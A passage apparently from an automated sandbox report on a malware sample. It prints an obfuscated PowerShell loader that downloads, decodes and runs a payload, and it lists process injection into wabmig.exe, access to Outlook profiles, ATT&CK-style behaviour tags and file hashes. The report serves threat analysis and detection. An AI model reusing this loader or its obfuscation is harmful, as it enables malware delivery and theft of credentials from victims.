cN,issoAfvallr fle Blom =Belie squab[ K idNFigu.e b nit Ne r.S,rasSOver,eParapcRestpuBnnemrTaboriHattetForudyNiterPOysterHje lo ksetPro ooJordbcAugmeoAgelelSyntaTCohabyOt llpWam,leS.ass]Ecume:cor e:TriflTSummalGryd s Knip1 Bill2Typhl ');$Tomler=$Srgemarch25[0];$Ventrine= (Corrodent ',nstd$KaliugCra,elCaloyoSyrefbUtrovaMonosL Da.t:T ansd U emrKritiN.dtrfIUn,ulNDa,ghGByn vS No.r=MarkeNEnde eD ctawSleev-BelysoMichlbAktiejCommuE LninC G blt Unwh ,ikas.kyriY,onplsspaltTU give Goodm Spyd.SquibnN ttiERe egt Gl.r.IndskwS ydieOverdBF.jlsc.odstl Fi,mi oreteSkrefNUnpert');$Ventrine+=$Aramayoite[1];pladsbilletterne ($Ventrine);pladsbilletterne (Corrodent 'Pr,di$Grf.eDmarm rCanadnTmmeriOxy ln ommig Sbeus orgu.ShedmHD vice Creva Mat,dS sleePallerHistosNorma[A pol$SubmuBMandarslugaaKommavTymp.uPaaflrForgaaStaahrUn griGaudeeKli,prpans s Derm]Rd in=Odont$H lpsTDreggrRectayForesk Non kNyhe,eSejlkrqu.drl Di.arOverdlSneeziInternToppogOu sieStep nSjuskeSprll ');$Indkringsfases=Corrodent 'Yemen$ErhveD Is er,strinnonsyiU.ccenParazgImpals Dieh.DoonsDP,imao Fyl w affrnKo fll Se so,ronpa lockdGr ntFOchroiRemanlAnkereVand (Gnath$JowarTHiperoJiliamCuriel Gr ueHair rbogbi,B ndt$OverrAT,ibon Do.eeSarcil RideiEmb,enBetelgTurid)Ch.rg ';$Aneling=$Aramayoite[0];pladsbilletterne (Corrodent ' Natu$JernbgFejlsL Ind.O PromB PenoAFordrLKorps:Blasts EmboKmahogiIn beLKontaSSted.MKommuiRenomSLov sSDoze eAvowibkiangeTankvV .eleIKatedLReposLTyvetiCr.cin RepagPundsEDesinRGymna=Demit( Ekset ille LansSNine.Ttvrfa-PlusspfaldbAethnitLuftlhNin p under$InterAMuss,nT aktEkritiLselv i Skoln Ind GProra)Lytte ');while (!$Skilsmissebevillinger) {pladsbilletterne (Corrodent 'lingv$SteplgArizolTr aaoC takbAmovaaInauglvinge:Lee aT Sea,aBaalpcInur hNovi eNonmatMae,lu,eepurHe lceAcc s1 Yugo4Yeste3Expul= endr$PandatPresurVe neuL utueIn st ') ;pladsbilletterne $Indkringsfases;pladsbilletterne (Corrodent 'gas eS Lys.t irreadoubtrToptet Lens-SnokeSAdvoklRetoueR dwoe envipsjatt ,nun4Nonfo ');pladsbilletterne (Corrodent 'Major$G ogggCozyilBorg,o BefobfinanaDemoklCigar:Ge erSPorcekForudiLysatlBrachsvej.smLygteiFordjsInjussBilleeVognmbUncomeServiv Demoi annelDent.lkonveiSpaidnUpgatgPropteFifterIn,ti=Decel(RogueTUpopueAus rs Yow.tPlusk-PolysPSentia,aceltInpu h Tall Und s$KarreADecennK,lmieGrydelUnmediExtranNonprg Part)Data. ') ;pladsbilletterne (Corrodent 'Selvf$Dv grg DyrelLinedo PneubTelltaUntenl Pro :MisbeI ddiklProp,lAfgr uP stsmLob ciPar,tn Vid atoasttTo deoSpaltr stib=April$InescgSohqulUnissoLydlab Co naGa,lil arle:RepenP non sLaengebespau etyddH.tereW eezpsubaribossegudstdrSpairaRigsdpMisplhd naaoFiltenCtra + kovt+aa re%Choke$ WellSEtaper Medlg LuteeHimmemFiskeabipolrRh mbcEksemhElekt2Venez5Ba om.U sttcInvoco Kderu OpvanBukstt M,xi ') ;$Tomler=$Srgemarch25[$Illuminator];}$Saucer=298805;$Videoafspilleres=29219;pladsbilletterne (Corrodent 'Nacry$Am,asgM ljblBalloo ransbEkstraSocielNonpr:RisikHGarnea PhileDeg,gmPersoo k,ekt Supeo Credx ClupiSlatic ejtr Justi=Meni Lngs G RampePisketlairm- s miC semiounwienTils.tV jmaeBefornindsttRe.er Penty$ Abb ADogmanS ltieStje l SquiiElengnddedagNonfr ');pladsbilletterne (Corrodent 'Eusk $,avvrginterlRingsoLim,obLigevaScattlPal.o:Par.hDSk iviMin.da BlidlBelieo Thysg Appli ivebsRallyeMaladd Proh8Trinb2Vesti Rgfor=appel rot[ PrevS uksuyDgnprsBurhet S,deeAfbrymEspre.DullsCSilhuoMitren Unc.vKlippeKirkerFarettPille]O tsh:S der:k nomFDisplr Inteo impomOcotiBMerglaDefinsOegedeObjur6Jetja4Ande SMargetUdskrrKonomi Egn,nMycelgE uaw(Psy.h$ M gnH.ytaaaSemiceGallemFortyoadjuntShed.oSmaabxFarveiInterc Prot) En,o ');pladsbilletterne (Corrodent ' Pr.t$ PseugWhsillhistioAk ivbCretoaTilgalF eur: VariUUncivdR sulsFloritUnre yUncutrRidsee G.nelAltdosDannee BalarDendr G,thk= ffi Tryk[BredbSTradeyCuirasSkrivtRulleeMatermSlapp.perosTInhibeTurisxSammetBedra.T umpEGlimpnJateoc SurmoAleurdCorreiL efenUsaarg Hjlp]Konfd:Ele,a:lam,iA TaksS.ontaC Ar.oIWagneITitre. ChilGBa.ble ortltSuperSP gurt SawsrChartiKrigenKoansgTelev( favo$SpydiDNonmiiBrospaAsorrlSiksao itacgNebu iDevias ndroetrissdFedts8Und r2 f.ot)Inve. ');pladsbilletterne (Corrodent ' tr i$ Dis gLseholIntegoRynkeb NecraTndeslCentr: ReloF usinoApatirRitmesBakketPredeaDemulaka.aeeCarinlDiagos arvee ,ogisLakfapDiscorWarnroMarencPrivaeO,erpsstolts Vente,rvejrLevernApp reTofte= Fisk$Ov rjUgalahdGevansSydf tElr tyQuin.rLaed e Af yl SpissSupr ePla erForbi.SennesFinanu.emicbPlyndsAfgudt RisarSyndiiLugtunKilomgF rha(Bi da$ScoreSSelvfaVagtpuMis,gcClinoeOplg rForgr,Prosa$Qui.nVWrapaiRens dLeucoeVeneeo havea Urfjf Con sEclippTormeiAn iplOleaclHypogeFlyt,r Bai e Obsts Head)Besid ');pladsbilletterne $Forstaaelsesprocesserne;"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2916 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Gymnasielrer36.Bru && echo t"5⤵
- System Location Discovery: System Language Discovery
PID:1104
-
-
C:\Program Files (x86)\windows mail\wabmig.exe"C:\Program Files (x86)\windows mail\wabmig.exe"5⤵PID:4808
-
-
C:\Program Files (x86)\windows mail\wabmig.exe"C:\Program Files (x86)\windows mail\wabmig.exe"5⤵
- Accesses Microsoft Outlook profiles
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
PID:3456
-
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
427KB
MD545ba7a030b3ed8b67c945e660cc5d60e
SHA1c255be4cc7020eeaeca86c803a8c6a989cb55996
SHA25681f504ce5c2f4cc87fb6748ad21cd2438c533e457c3824a7dd49bbdab1061b2c
SHA51238d07fe03ae6b3a2a0dbc52bd8101763051db8578e6906e34d82f44aa3f083bba7c39fba60c801f97d6163b6149a326a8fcdcfb8b020de95b51ceb2facb7858e
-
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-4182098368-2521458979-3782681353-1000\0f5007522459c86e95ffcc62f32308f1_ea0aa4d6-aa48-4733-9e64-85ab59ce35b0
Filesize46B
MD5c07225d4e7d01d31042965f048728a0a
SHA169d70b340fd9f44c89adb9a2278df84faa9906b7
SHA2568c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a
SHA51223d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b
-
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-4182098368-2521458979-3782681353-1000\0f5007522459c86e95ffcc62f32308f1_ea0aa4d6-aa48-4733-9e64-85ab59ce35b0
Filesize46B
MD5d898504a722bff1524134c6ab6a5eaa5
SHA1e0fdc90c2ca2a0219c99d2758e68c18875a3e11e
SHA256878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9
SHA51226a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61